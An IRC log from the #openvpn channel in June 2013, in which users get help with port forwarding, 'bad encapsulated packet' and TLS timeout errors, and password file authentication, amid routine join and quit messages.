07:58 -!- defswork [~andy@141.0.50.105] has joined #openvpn
08:04 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
08:09 < andre_11> what can you do about "bad encapsulation"tun size must be the same on server and client
08:09 < andre_11> i dont find it in config files
08:12 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
08:12 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 264 seconds]
08:14 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:28 < Brandano> andre_11: possibly related to MTU?
08:28 < andre_11> i think so too
08:29 < andre_11> tried link-mtu 1400
08:29 < andre_11> but same problem :/
08:29 < Brandano> on botht he server and client?
08:29 < andre_11> yes
08:29 < andre_11> maybe using port 139 was a bad idea ?
08:30 < andre_11> it's for netbios says some online port scanner
08:30 < andre_11> tried it because it seems to be free when checked by said online port scanner
08:30 < andre_11> aparently frreing a port in my router doesnt really free it
08:30 < Brandano> most likely it is
08:30 < Brandano> see this post: https://forums.openvpn.net/topic10455.html
08:31 <@vpnHelper> Title: OpenVPN Support Forum Bad encapsulated packet length from peer : Server Administration (at forums.openvpn.net)
08:31 < Brandano> apparently something is sending non-vpn traffic to the vpn port
08:31 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
08:32 < Brandano> since 139 is netbios, that seems definitely the case
08:32 < andre_11> hmm
08:32 < andre_11> seems to me i'm stuck somehow
08:32 < Brandano> at the very least someone is seeing netbios open and trying to access it
08:32 < andre_11> can't get the port to be free on router ...and if i take one of the standard ports this error with encapsulating comes up
08:32 < Brandano> why are you using the netbios port anyway?
08:33 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: takamichi]
08:33 < andre_11> netegar router seems to not free a port when you tell it to
08:33 < Brandano> you should take a higher port and nat it through the router
08:33 < andre_11> tried this already in the 20k and 40k range
08:33  * Brandano has a netgear router at home and NAT works fine there
08:33 < andre_11> after checking with online port scanner port shown as close :(
08:34 < Brandano> DDOS protection can cause issues, though
08:34 < andre_11> hmm will try to take it off
08:34 < Brandano> well, it's a damned if you do-damned if you dn't situation
08:34 < andre_11> hehe exactly
08:34 < andre_11> only option enabled is stealth mode
08:35 < andre_11> tcp flood and udp flood is off
08:35 < Brandano> personally I'll probably dumb down the router to be just a lan enabled modem and pass the traffic through another reasonable router instead
08:35 < andre_11> respond to ping is off too
08:35 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
08:35 < andre_11> not an option till it's my workplace :(
08:36 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has quit [Read error: Operation timed out]
08:36 < Brandano> I am running stuff through an openwrt router at work
08:36 < Brandano> actually, I am running the vpn server on it as well
08:37 < andre_11> we have an old router here ...checked if there is openwrt/ddwrt package available
08:37 < andre_11> but its not
08:37 < andre_11> *damn*
08:37 < Brandano> I bet a DDOS would probably kill it in seconds. OTOH the rest of the network seems safe enough
08:39 -!- Poison [~Poison@202.88.87.179] has joined #openvpn
08:40 < andre_11> you probably have a home router from netgear ?
08:40 < andre_11> i've got this netgear prosafe vpn router
08:44 < Brandano> my home router is an horrible DGN1000
08:45 -!- Denial [Denial@90.208.15.68] has joined #openvpn
08:45 < Brandano> well, a professional router ought to be more capable than a cheap home router. And it definitely ought to be able to NAT a few ports
08:46 < Brandano> the router I use at work is a cheap TP-Link, without DSL modem. I am getting a transparent NAT to it from the provider's modem router
08:47 < andre_11> hmm
08:47 < Brandano> Stupid provider won't give us admin access to it... so I just leave them admin it, but harden the net after that
08:47 < andre_11> i have a server lan ip 192.168.100.1 vpn ip 10.8.0.1
08:47 < Brandano> tunneling, then
08:48 < andre_11> so if i set up port 44444 fron any ip to 192.168.100.1
08:48 < andre_11> is should work or not ?
08:48 < Brandano> though with 192.168.100 there shouldn't be much risk of collisions
08:48 < Brandano> if openvpn server is listening on it, yes, it ought to
08:48 < andre_11> or do i have to route to 10.8.0.1
08:49 < andre_11> either way should an online port scanner tell me the port is free or not ?
08:49 < Brandano> how would your router know that your vpn is on 10.8.0.1?
08:49 < Brandano> set up an httpd instance on 44444 on the server, and see if you can reach it
08:49 < Brandano> then kill it and replace it with the vpn server
08:50 < andre_11> if a tell my client server is at 192.168.100.1 he connects vpn and gets ip 10.8.0.6 e.g.
08:50 < andre_11> so it should be the same with my router or not ?
08:50 < Brandano> well, no, the client will need your public ip
08:50 < Brandano> the router will nat it to the server
08:50 < andre_11> yes of course ...
08:50 < andre_11> but then i get timeout :P
08:50 < Brandano> then the server will assign the subnet to the client
08:51 < andre_11> and timeout might be because port is blocked by router :(
08:51 < Brandano> that's why I was suggesting to use a plainer protocol to test things out first
08:51 < Brandano> openvpn is its own can of worms, without having to deal with other networking issues first
08:52 < Brandano> once you get A server listening on the NATed port, you know the nat rules are fine, and you can concentrate on the vpn issues leaving the router alone
08:52 -!- mcp [~mcp@wolk-project.de] has quit [Remote host closed the connection]
08:53 < andre_11> i set up in the same environment a crm server and an excahnge server
08:53 < Brandano> note that you need to NAT udp traffic, unless you specify TCP in the openvpn config
08:53 < andre_11> wasn't easy but everthing wokrs
08:59 < andre_11> hmm
08:59 < andre_11> tried with udp
08:59 < andre_11> and it says tls id failed within 60 seconds
08:59 < andre_11> any chance to speed it up ?
09:00 < EugeneKay> That's a timeout message
09:00 < andre_11> argh not again
09:00 < EugeneKay> It means that the packets aren't getting through somewhere
09:00 < andre_11> hes doing this
09:00 < andre_11> UDPv4 WRITE [14] to [AF_INET]x.x.x.x:44555: P_CONTROL_HARD_RESET_CLIENT_V2 kid=0 [ ] pid=0 DATA len=0
09:00 < andre_11> x.x.x.x is my ip
09:02 < andre_11> do i need aditional certificatres ?
09:03 < andre_11> or is it definitly a timeout
09:03 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has left #openvpn []
09:06 < Brandano> andre_11: did you try to see if NAT works with something else? I suggested http because it can be somewhat secured, but you could add it as a second ssh listen port, for example
09:06 < Brandano> sshd can listen on several ports at once with a single line change.
09:09 < andre_11> i have an FTP server running aswell
09:09 < andre_11> it works on this ip
09:09 < andre_11> and if i delete port in router firewall online port scanner says its closed
09:10 < andre_11> so it seems to be working
09:20 < Brandano> andre_11: I mean, if you set the ftp service to listen on port 44555, can you connect to it via the WAN?
09:20 < Brandano> not to mention that FTP is an horrible protocol
09:23 < andre_11> will try it out
09:26 < andre_11> no not possible
09:26 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:26 < andre_11> why does it work on port 21 ?
09:28 < andre_11> i did exactly the same just not 21 but 44555 and nothing :(
09:31 < andre_11> changed it back to 21 and it wont work again ....is this freakin router f*** kiddin me ?
09:32 <@ecrist> why are we talking about FTP?
09:32 < andre_11> just to test if ports are really fre
09:32 < andre_11> e
09:33 <@ecrist> lsof will tell you
09:33 < andre_11> and it seems that my router is showing ports as free and they are not
09:33 <@ecrist> or sockstat (on freebsd)
09:33 < andre_11> <-- windows user :(
09:33 < andre_11> using an line scanner atm
09:33 < andre_11> but can't connect to my ftp ...which i could last week
09:33 <@ecrist> are you doing port forwarding?
09:33 < andre_11> so there is definitely a probem here
09:33 <@ecrist> !101
09:33 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
09:34 < andre_11> yeah yeah ...thought it would be an openvpn problem since everything else worked so far :)
09:39 < havoc> oooh, new release
09:44 < Brandano> ecrist: I just suggested to put another server listening on the vpn server port just to test for networking issues
09:44 < Brandano> andre_11: you didn't alter the ftp rules on the router, right?
09:44 -!- andre_11 [~andre_11@dsl108-185.pool.bitel.net] has quit [Ping timeout: 276 seconds]
09:44 < Brandano> oops
09:45 < Brandano> Well, losing ftp access on a windows server is a net gain anyway, IMO :)
09:46 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 255 seconds]
09:56 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
09:58 -!- meepmeep_ [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 245 seconds]
10:00 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
10:00 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
10:13 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds]
10:13 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:15 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
10:15 -!- mode/#openvpn [+o dazo] by ChanServ
10:17 -!- raidz_away is now known as raidz
10:23 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
10:26 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [K-Lined]
10:31 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
10:33 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
10:33 -!- mode/#openvpn [+o krzee] by ChanServ
10:38 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:44 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
10:46 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
10:46 -!- mode/#openvpn [+o krzee] by ChanServ
10:50 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
10:52 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:54 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
10:55 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Excess Flood]
10:59 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
11:00 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 255 seconds]
11:18 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 240 seconds]
11:45 -!- patelx2 [~cp@bur-inet-pa-1.disney.com] has joined #openvpn
11:53 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Ping timeout: 255 seconds]
11:54 -!- patelx2 [~cp@bur-inet-pa-1.disney.com] has quit [Quit: ircN 8.00 for mIRC (20100904) - www.ircN.org]
11:54 -!- laner [~Lane@secure9.privatecom.com] has joined #openvpn
11:58 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
12:01 -!- Brandano [~Brandano@pdpc/supporter/professional/brandano] has quit [Quit: heading home, bye all]
12:14 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 240 seconds]
12:18 -!- exed_ [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
12:20 -!- exed__ [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
12:20 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Ping timeout: 248 seconds]
12:20 -!- exed__ is now known as exed
12:22 -!- exed_ [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Read error: Operation timed out]
12:24 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
12:24 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Client Quit]
12:26 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
12:27 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
12:27 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 245 seconds]
12:31 -!- laner [~Lane@secure9.privatecom.com] has quit [Ping timeout: 245 seconds]
12:34 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
12:36 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
12:36 -!- kirin` [telex@gateway/shell/anapnea.net/x-rxjufsgrixbqddzj] has quit [Disconnected by services]
12:36 -!- cyberspace- [20253@ninthfloor.org] has quit [Disconnected by services]
12:36 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
12:36 -!- kirin` [telex@gateway/shell/anapnea.net/x-tlserlazaeqjcbfq] has joined #openvpn
12:37 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
12:40 -!- saneki_ [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
12:41 -!- raidz_ [~raidz@raidz.im] has joined #openvpn
12:42 -!- Netsplit *.net <-> *.split quits: Willis_, kevinsky, dvl, exed, chenli, @raidz, eennaam, saneki, toobluesc, jtrucks
12:42 -!- raidz_ is now known as raidz
12:42 -!- raidz [~raidz@raidz.im] has quit [Changing host]
12:42 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
12:42 -!- mode/#openvpn [+o raidz] by ChanServ
12:49 -!- Netsplit over, joins: jtrucks
12:49 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
12:49 -!- Willis [Willis@173.234.237.131] has joined #openvpn
13:15 -!- dym [~patrick@unaffiliated/dym] has left #openvpn []
13:32 -!- Polesch [~Polesch@ti0045a380-dhcp0868.bb.online.no] has joined #openvpn
13:34 -!- JAVACODER [~JAVACODER@2.190.38.109] has quit [Ping timeout: 246 seconds]
13:48 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
13:48 -!- toobluesc [~nitro@c-50-152-143-224.hsd1.ca.comcast.net] has joined #openvpn
13:48 -!- chenli [~chenli@59.108.60.58] has joined #openvpn
13:49 -!- eennaam [~pi@unaffiliated/eennaam] has joined #openvpn
13:54 -!- kevinsky [~kevin@senna.rosendaal.net] has joined #openvpn
13:54 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
14:05 -!- Polesch [~Polesch@ti0045a380-dhcp0868.bb.online.no] has quit []
14:05 -!- Polesch [~Polesch@69.65.47.122] has joined #openvpn
14:06 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has quit [Ping timeout: 255 seconds]
14:07 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:11 -!- Poleschs [~Polesch@ti0045a380-dhcp0868.bb.online.no] has joined #openvpn
14:13 -!- Polesch [~Polesch@69.65.47.122] has quit [Ping timeout: 255 seconds]
14:21 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Quit: exed]
14:22 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
14:27 -!- Poleschs [~Polesch@ti0045a380-dhcp0868.bb.online.no] has left #openvpn []
14:32 -!- vaillor_ [~wefefr@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
14:42 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
14:45 -!- mattock is now known as mattock_afk
14:52 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Remote host closed the connection]
14:53 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
15:11 -!- Poison [~Poison@202.88.87.179] has quit [Quit: Leaving]
15:19 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
15:20 -!- master_of_master [~master_of@p4FF24728.dip0.t-ipconnect.de] has joined #openvpn
15:23 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
15:24 -!- master_o1_master [~master_of@p4FF24F49.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
15:37 -!- mystiiq [~mystiiq@110.140.191.90.dyn.estpak.ee] has joined #openvpn
15:42 -!- exed_ [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
15:43 -!- Denial [Denial@90.208.15.68] has quit []
15:45 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Ping timeout: 245 seconds]
15:45 -!- exed_ [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Read error: Operation timed out]
15:46 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
15:51 < mystiiq> how can I build openvpn for android?
15:54 -!- BtbN [znc@btbn.de] has quit [Quit: Bye]
15:54 -!- BtbN [znc@btbn.de] has joined #openvpn
15:57 -!- BtbN [znc@btbn.de] has quit [Client Quit]
15:57 -!- BtbN [znc@btbn.de] has joined #openvpn
15:58 -!- BtbN [znc@btbn.de] has quit [Client Quit]
15:58 -!- Netsplit *.net <-> *.split quits: matsh, thmzz, simcop2387
15:58 -!- Netsplit over, joins: matsh
16:00 -!- BtbN [znc@btbn.de] has joined #openvpn
16:03 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
16:04 -!- zeroXten [~zeroXten@0x10.co.uk] has quit [Ping timeout: 245 seconds]
16:06 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
16:08 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:08 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 252 seconds]
16:16 -!- Varazir [~mircwars@c-94-255-133-62.cust.bredband2.com] has quit [Ping timeout: 256 seconds]
16:17 -!- mystiiq [~mystiiq@110.140.191.90.dyn.estpak.ee] has quit [Quit: WeeChat 0.4.1]
16:18 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
16:29 -!- dazo is now known as dazo_afk
16:30 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Excess Flood]
16:32 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
16:33 -!- exed [~maximus@ppp-93-104-182-246.dynamic.mnet-online.de] has joined #openvpn
16:33 -!- exed [~maximus@ppp-93-104-182-246.dynamic.mnet-online.de] has quit [Client Quit]
16:37 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Quit: the smell of sunshine, i remember sometimes]
17:07 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 256 seconds]
17:16 < pekster> !learn gui as The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they many cause unexpected issues
17:16 <@vpnHelper> Joo got it.
17:20 < pekster> !learn gui as If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
17:20 <@vpnHelper> Joo got it.
17:27 -!- d3c [~d3c@x1-6-9c-d3-6d-c6-23-02.k965.webspeed.dk] has joined #openvpn
17:31 -!- batrick [~batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.1]
17:32 < JackSparrow> 'night
17:35 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
17:35 -!- batrick [~batrick@nmap/developer/batrick] has joined #openvpn
17:46 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
17:46 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
18:01 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Remote host closed the connection]
18:12 -!- qmr_ is now known as qmr
18:37 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 264 seconds]
18:43 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
18:48 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Quit: Gone...]
18:57 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Read error: Operation timed out]
18:59 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
19:06 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
19:07 -!- rheddry [~levifig@spwn.co] has quit [Excess Flood]
19:08 -!- levifig [~levifig@spwn.co] has joined #openvpn
19:25 -!- d3c [~d3c@x1-6-9c-d3-6d-c6-23-02.k965.webspeed.dk] has quit [Quit: Quit]
19:48 -!- adot [~mradot@cpe-66-91-66-172.hawaii.res.rr.com] has joined #openvpn
19:50 < adot> hello
19:50 < adot> anyone here?
20:02 -!- adot_ [~mradot@208.76.12.4] has joined #openvpn
20:03 < adot_> thanks
20:03 < adot_> to however told me to change tun to tun0 :D
20:03 < adot_> it worked
20:05 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:06 -!- adot [~mradot@cpe-66-91-66-172.hawaii.res.rr.com] has quit [Ping timeout: 276 seconds]
20:10 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
20:13 -!- adot_ is now known as dota
20:14 -!- dota is now known as notadot
20:14 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has joined #openvpn
20:21 -!- raidz is now known as raidz_away
20:26 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has left #openvpn ["Leaving IRC forever... :("]
20:29 -!- notadot_ [~mradot@cpe-66-91-66-172.hawaii.res.rr.com] has joined #openvpn
20:30 -!- notadot [~mradot@208.76.12.4] has quit [Disconnected by services]
20:30 -!- notadot_ is now known as notadot
20:30 -!- notadot [~mradot@cpe-66-91-66-172.hawaii.res.rr.com] has quit [Client Quit]
20:30 -!- notadot [~mradot@cpe-66-91-66-172.hawaii.res.rr.com] has joined #openvpn
20:41 -!- notadot [~mradot@cpe-66-91-66-172.hawaii.res.rr.com] has quit [K-Lined]
21:00 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 264 seconds]
21:02 -!- b0fh_ua [~b0fh_ua@static.104.229.46.78.clients.your-server.de] has joined #openvpn
21:03 < b0fh_ua> Hello! I am facing strange issue - OpenVPN client tries to reconnect to the server but fals for some reason. See logs : http://pastebin.com/zLVyQVQh
21:03 < b0fh_ua> can you please help?
21:03 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
21:16 < b0fh_ua> what's interesting, is that even after server is restarted - I can not see any log for connection attempts
21:21 < b0fh_ua> looks like if physical interface is down (eth0) due to power issues with router, it can not be recovered in openvpn
22:05 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
22:21 < pekster> b0fh_ua: What verbosity is that? You've omitted the important part, because the restart reason is "tls-error" yet you've included none of the details that would explain *what* part of the TLS handshake failed. Try more complete logs at --verb 4
22:21 < pekster> The rest also doesn't include a reason for not connecting; you've trimmed the log output too soon, and that could very well show a successful connection attempt after
22:40 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
22:41 -!- Chaot_s [~chaot_s@d54C4015D.access.telenet.be] has quit [Remote host closed the connection]
22:47 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
22:48 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
22:58 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Quit: Leaving]
22:59 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
23:18 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 252 seconds]
23:18 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
23:23 -!- trumee [~parul@185.11.37.181] has quit [Ping timeout: 264 seconds]
23:23 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
23:25 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Client Quit]
23:26 -!- trumee [~parul@185.11.37.181] has joined #openvpn
23:26 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 255 seconds]
23:28 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 240 seconds]
23:31 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
--- Day changed Tue Jun 11 2013
00:17 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
00:18 -!- fluter [~fluter@fedora/fluter] has quit [Max SendQ exceeded]
00:19 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
00:19 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
00:50 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
00:52 -!- Austin [~Austin@94.200.189.50] has joined #openvpn
00:54 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
00:54 -!- levifig [~levifig@spwn.co] has joined #openvpn
00:57 -!- thmzz [~thmzz@80.241.95.146] has joined #openvpn
01:05 -!- monk [~aknm@196.14.139.96] has joined #openvpn
01:05 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
01:05 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:15 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 256 seconds]
01:17 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
01:19 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
01:20 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
01:47 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds]
01:47 -!- Slippern [slippern@server02.hjemmeserver.info] has quit [Ping timeout: 240 seconds]
01:48 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Ping timeout: 245 seconds]
01:48 -!- Slippern [slippern@server02.hjemmeserver.info] has joined #openvpn
01:49 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
01:49 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
01:49 -!- mode/#openvpn [+o dazo_afk] by ChanServ
01:49 -!- dazo_afk is now known as dazo
02:02 -!- mattock_afk is now known as mattock
02:07 -!- fluter [~fluter@fedora/fluter] has quit [Read error: Operation timed out]
02:19 < Jaga> does openvpn require/should have dnsmasq?
02:19 < Jaga> on the client
02:22 < excalibr> Jaga: not at all
02:23 < Jaga> what about adding routes to ifconfig of the client? needed?
02:26 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
02:29 < excalibr> that too
02:29 < Jaga> not at all?
02:29 < Jaga> then: up.sh and down.sh are the correct script names? I saw somewhere they should be renamed to openvpn-up.sh and openvpn-down.sh (and kept /etc/openvpn/)
02:29 < Jaga> kept in*
02:29 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 255 seconds]
02:32 < excalibr> i dont know anything about those scripts
02:34 < Jaga> oh
02:34 < Jaga> do you know about some way to save the password in openvpn? or do I have to input it every time?
02:35 < excalibr> !auth
02:35 < excalibr> !help
02:35 <@vpnHelper> (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin.
02:35 < excalibr> !auth-user-pass
02:35 < excalibr> bah
02:36 < excalibr> Jaga: look for auth-user-pass in man
02:36 < excalibr> that's what you what
02:37 < Jaga> excalibr: yea, I put it but it still wouldn't start if I didn't give it the passwd
02:37 < Jaga> so I thought I had the wrong parameter
02:40 < excalibr> How did you use the param?
02:49 < Jaga> I passed a file
02:49 < Jaga> first line was username and second password
02:49 < Jaga> plaintext
03:06 -!- zeroXten [~zeroXten@0x10.co.uk] has quit [Remote host closed the connection]
03:11 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
03:21 -!- Thermi_ [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
03:31 < Jaga> silly man has only basic client/server setup and aside from that command line parameters
03:31 < Jaga> I will have to dir a bit for it
03:47 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
03:48 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
03:49 < Jaga> it chokes on it totally
03:49 < Jaga> I can't start it
03:49 < Jaga> it won't accept the file - be it from the config file or from command line given file
03:49 < Jaga> also when I type in the password when it asks, it stops
03:50 < Jaga> (my server username is different than laptop username, idk if that infuences it)
03:50 < Jaga> (and it won't prompt me for the username)
03:53 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
03:55 -!- Denial [Denial@90.208.15.68] has joined #openvpn
04:10 < Jaga> how can I test if the tunnel works?
04:10 < Jaga> ping the remote server that I set in the conf file?
04:41 -!- Austin [~Austin@94.200.189.50] has quit [Read error: Connection reset by peer]
04:43 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
04:47 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
05:17 < Jaga> I have openvpn working but it still isn't using the password file
05:17 < Jaga> even thou openvpn is compiled with passwordsave flag
05:27 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
05:29 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
05:38 < Jaga> I'm still trying to make openvpn accept the auth file without success
05:38 < Jaga> here's the log file (verbose on 4th level)
05:38 < Jaga> http://www.niksula.hut.fi/~kochang1/openvpn.log
05:39 < Jaga> openvpn is compiled with passwordsave, so should work
05:40 < Jaga> pass file has chown openvpn:openvpn and user-only full access
05:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:13 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
06:23 <@dazo> Jaga: Look at this line:
06:23 <@dazo> Tue Jun 11 13:33:01 2013 us=396710 Error: private key password verification failed
06:24 <@dazo> otherwise, there are two sessions here ... the first one seems to have connected correctly
06:24 <@dazo> Tue Jun 11 13:32:05 2013 us=690530 [server] Peer Connection Initiated with [AF_INET]193.93.133.106:1194
